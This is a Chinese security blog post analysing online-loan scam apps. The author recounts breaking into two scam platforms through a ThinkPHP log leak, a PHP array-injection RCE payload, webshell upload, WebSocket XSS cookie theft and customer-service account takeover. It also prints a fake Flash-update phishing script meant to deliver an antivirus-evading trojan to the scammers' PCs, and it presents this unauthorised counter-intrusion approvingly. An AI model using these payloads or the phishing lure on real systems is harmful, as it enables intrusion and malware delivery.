针对网贷诈骗行业诈骗链分析

VSole2021-10-26 15:19:33

2021-10-08 7 min read 

该文章首发先知社区:https://xz.aliyun.com/t/10391

一.概述

   1.1某天,一位网上朋友告诉笔者,他被骗了。被骗方式很独特,因为自己没钱所以选择贷款,在贷款过程中惨遭诈骗。

   1.2诈骗短信:

   1.3诈骗过程(此处受害者用小辉代替):

    某日,小辉手机收到一条关于网络贷款的短信,恰逢月底,捉襟见肘,小辉没忍住诱惑下载打开了app。注册好账号,填写好身份证号、手持、工作地点、家人信息等后申请了20000元贷款,但是迟迟没到账,小辉询问客服得知:亲,这边申请贷款需要先缴纳688的VIP费用哦,缴纳后VIP费用会连同贷款金额一起打款到您的银行卡账户。小辉想了想,也不亏,于是将下个月房租开通了VIP待遇。

    小辉开通了VIP待遇,以为就能顺利贷款度过月底,但是还是没收到贷款金额以及VIP费用。这次客服主动联系小辉,"您的信用额度不够,需要再刷流水3500元,请缴纳现金证明还款能力,缴纳后费用会连同贷款金额一起打款到您的银行卡账户"。

    小辉急了,眼看着下个月房租没着落了,咬咬牙找朋友借了3500元再次打给客服提供的银行卡号,心想,这次你总没什么借口了吧!20000块钱,拿来吧你!小辉已经想好贷款下来两万块如何吃喝玩乐了,857857~~~

    可是幸运女神还是没有照顾小辉,客服再次联系小辉,称已经审批成功即将下款,但是还需要支付3000的工本费用,且费用会连同贷款金额一起打款到银行卡账户,小辉傻眼了,紧接着,客服将后台生成的虚假的合同发送给了小辉。

   小辉急了,自己就贷个款而已,却损失了几千块钱还要上征信,关键贷款的钱还没到手!小辉眼看着事情越闹越大,找到了我,经过小辉的一番描述,我查看了小辉手机上的贷款软件,无奈的告诉小辉,你被骗了,钱要不回来了。小辉此刻也愣住了,流下来悔恨的泪水......

ps:以上仅为诈骗真实过程,所有细节旁白均为本人添油加醋。笔者也就此对市面上两款常见诈骗源码进行简单分析并将其记录。

二.漏洞分析

2.1 第一套源码漏洞分析

2.1.1 Thinkphp日志泄漏

基于Thinkphp3.2.3开发,前后台分离

默认开启Debug、导致泄漏日志SQL信息、异常缓存

构造Payload:App/Runtime/Logs/21_10_16.log

获取泄漏的admin表账号密码

进入后台

2.1.2 数组可控导致RCE

可上传文件名被直接带入数据包中

此处猜测后端将文件名以数组的方式进行控制(在拿到webshell后也证明了这个猜想是正确的)

将可上传的文件名加入php,随后上传拿到Webshell

查看对应配置文件,发现可上传后缀名是在数组当中,此处还可以利用插入闭合数组进行Getshell

payload:siteName=11111').phpinfo();//

来看看后端如何处理的,因为return array的原因 必须加上字符串连接符"."

再登陆后台查看Payload是否执行

2.2 第二套源码漏洞分析

2.2.1 客服处Websocket-XSS

笔者能力有限,第二套诈骗贷款源码疑似一键搭建,均采用最新版宝塔+宝塔免费版WAF,在权限获取方面不足,转而向客服处寻找突破点

前台:

找到客服入口,上传图片,会转到通过websocket上传的数据包

修改websocket数据包,构造XSS

Cookie Get

三.客服系统控制/PC控制

3.1控制数据库

登陆mysql数据库查看诈骗嫌疑人登陆IP

杭州的电信基站动态IP,判断是家庭路由,暂无溯源价值。

3.2控制客服系统

第一套诈骗源码的客服系统使用的是网上在线客服系统

在后台翻到了客服的后台登陆地址,前端显示账号存在or密码错误,无奈账号没爆破成功。

随即笔者自己注册了该客服系统,通过adminid配合uid遍历SetCookie,越权成功,拿到客服账号。

中文账号==

爆破拿到密码

登陆客服后台

整个诈骗话术链

与受害人聊天记录

3.3使用flash钓鱼

在控制诈骗app服务器权限后,笔者使用flash钓鱼试图控制诈骗团伙个人PC。

在后台登陆成功后跳转的文件插入跳转js 跳转到事先准备好的假的flash更新页面

事先准备:免杀马一只 flash假域名一个(最好是包含有"flash"的字样)

<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">window</span>.alert = <span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;"><span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;font-weight: bold;">function</span>(<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;">name</span>)</span>{<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;font-weight: bold;">var</span> iframe = <span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">document</span>.createElement(<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"IFRAME"</span>);iframe.style.display=<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"none"</span>;iframe.setAttribute(<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"src"</span>, <span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">'data:text/plain,'</span>);<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">document</span>.documentElement.appendChild(iframe);<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">window</span>.frames[<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 128, 128);">0</span>].window.alert(name);iframe.parentNode.removeChild(iframe);};alert(<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"您的FLASH版本过低,请尝试升级后访问改页面!"</span>);<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 134, 179);">window</span>.location.href=<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(221, 17, 68);">"https://www.flashxxxx.com"</span>;<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;"><span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;color: rgb(0, 0, 128);"></<span style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;">script</span>></span></span><br></code></pre><p style="box-sizing: border-box;margin-bottom: 1.12em;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;line-height: 1.62;letter-spacing: 0.05em;hyphens: auto;">效果:<br style="box-sizing: inherit;">输入账号密码后登录,此时加载以上JavaScript。<br style="box-sizing: inherit;"><img data-fileid="100003578" data-ratio="0.3810302534750613" src="https://mmbiz.qpic.cn/mmbiz_png/iar31WKQlTTowwG5Jl9xg0MQkvRR3EmA1zm3ntthpzeMAiarwSiaKJxQ16YL9qo85jZNjB3snaDPxlOvxRicLH6KCg/640?wx_fmt=png" data-type="png" data-w="2446" style="box-sizing: inherit;margin: 24px auto;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;display: block;box-shadow: rgb(238, 238, 238) 0px 0px 30px;border-radius: 2px;"><br style="box-sizing: inherit;">点击"确认"跳转到事先伪造的flash更新页面网站,诱导下载点击。<br style="box-sizing: inherit;"><img data-fileid="100003581" data-ratio="0.515422077922078" src="https://mmbiz.qpic.cn/mmbiz_png/iar31WKQlTTowwG5Jl9xg0MQkvRR3EmA1zJa9LZgOHPaH1p0q72pOxRaCEXnfy44sybibiaATbZFy0yWfHrAWKIjA/640?wx_fmt=png" data-type="png" data-w="2464" style="box-sizing: inherit;margin: 24px auto;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;display: block;box-shadow: rgb(238, 238, 238) 0px 0px 30px;border-radius: 2px;"><br style="box-sizing: inherit;">但是最后并未上线,通过日志发现诈骗团伙是登陆了该后台的,此处也算是一个小遗憾。</p><h1 style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;padding-top: 16px;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;font-weight: 700;font-size: 1.8em;">四.总结</h1><p style="box-sizing: border-box;margin-bottom: 1.12em;border-width: 0px;border-style: initial;border-color: initial;vertical-align: baseline;line-height: 1.62;letter-spacing: 0.05em;hyphens: auto;">    网贷诈骗类案件的典型特征是,犯罪嫌疑人以“无抵押无审核”为噱头招揽需要贷款的被害人,并以“账户冻结需做解冻”才能完成放款等名义收取保证金,又以保险费、激活费、服务费等名义再次收费。被害人为了收回之前缴纳的钱款,只能按照犯罪嫌疑人为被害人设计的整个流程,完成转款,导致被害人钱款被骗。一些急需用钱的个体经营者、消费观念超前的上班族、大学生等人群是易受骗群体。<br style="box-sizing: inherit;">    诈骗者不仅仅将罪恶之手伸向了香港、台湾,甚至是国外......<br style="box-sizing: inherit;">    据分析,这群诈骗团伙在巴西也进行了相同方式的诈骗,且使用的诈骗源码为以上分析第一套源码。</p>
box-sizingvertical-align
本作品采用《CC 协议》,转载必须注明作者和本文链接
0x01 苦逼的测试任务 某一天,我照常在学校的CTF群和学长吹水,突然管事的学长在群里发了一张图,这个月轮到我们学校对省内的某旅游相关企业进行漏洞测试。上面的老师自然而然把这个任务分配给我们CTF战队,要求是找到漏洞,能Getshell的点证明能Getshell即可,不要深入利用。
绕过 XSS 检测机制
2022-05-05 07:30:30
跨站点脚本 (XSS) 是最常见的 Web 应用程序漏洞之一。它可以通过清理用户输入、基于上下文转义输出、正确使用文档对象模型 (DOM) 接收器和源、执行正确的跨源资源共享 (CORS) 策略和其他安全实践来完全防止。尽管这些预防性技术是公共知识,但 Web 应用程序防火墙 (WAF) 或自定义过滤器被广泛用于添加另一层安全性,以保护 Web 应用程序免受人为错误或新发现的攻击向量引入的缺陷
另类字符集编码绕过绕过原理HTTP协议兼容性:HTTP Charset的多样性Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样可以使用。
这篇文章主要是通过前端JS来寻找接口进行测试,寻找漏洞成功进入后台后,进行后台文件上传html。仅供学习。
2021-10-08 7 min read 该文章首发先知社区:https://xz.aliyun.com/
每次遇到VUE框架都是令我特别头疼的事情,因为在这个框架下面XSS实在是不太好搞,基本都被和谐了,如果对vue了解一点的话都知道,在vue里面的v-mode是神一般的存在着,而v-html几乎已经鸡鸡了。 话不多说,看到整个页面啥都没有,唯一一个就是这个手记的功能,硬着头皮尝试一下吧。
PHP弱类型总结
2021-12-25 06:32:02
转自:中尔安全实验室1.?代表有Java、.net、Python、C++等语言。弱类型语言是一种弱类型定义的语言,某一个变量被定义类型,该变量可以根据环境变化自动进行转换,不需要经过现行强制转换。
绕过登录页面的七种常见方法这篇文章是关于绕过由于网站的弱点而发生的登录页面功能。常见的七种方式绕过 SQL 注入通过跨站点脚本通过操纵响应返回包绕过爆破攻击限制绕过目录爆破攻击默认凭据绕过通过删除请求中的参数绕过 SQL 注入我以 Mutillidae 为例进行演示。我们以管理员身份登录。在您的情况下,当它不起作用时尝试其他payload,并使用 SQLMap 工具dump用户名和密码。并显示弹出窗口,因此您可以通过 XSS 尝试 CSRF 并查看受害者凭据。这是它的 CSRF payload
权限的划分1、system账户Windows系统最高级别的权限是System用户权限,有一些操作需要System权限才能完成,比如修改注册表核心键值、强制结束恶意应用程序进程等。除此之外,它还拥有控制其他用户的权限。
相信大家一定对源码泄露并不陌生,这里也不赘述这个漏洞的理和危害了,网上一搜也都有好多好多,看都看不完~~~那今天这里我们讲啥呢?那就直入主题吧~今天这里我就贴出我自己参考的加上自己写的fofa爬虫 + 源码泄露PoC之梦幻联动,希望能对大家有帮助。
VSole
网络安全专家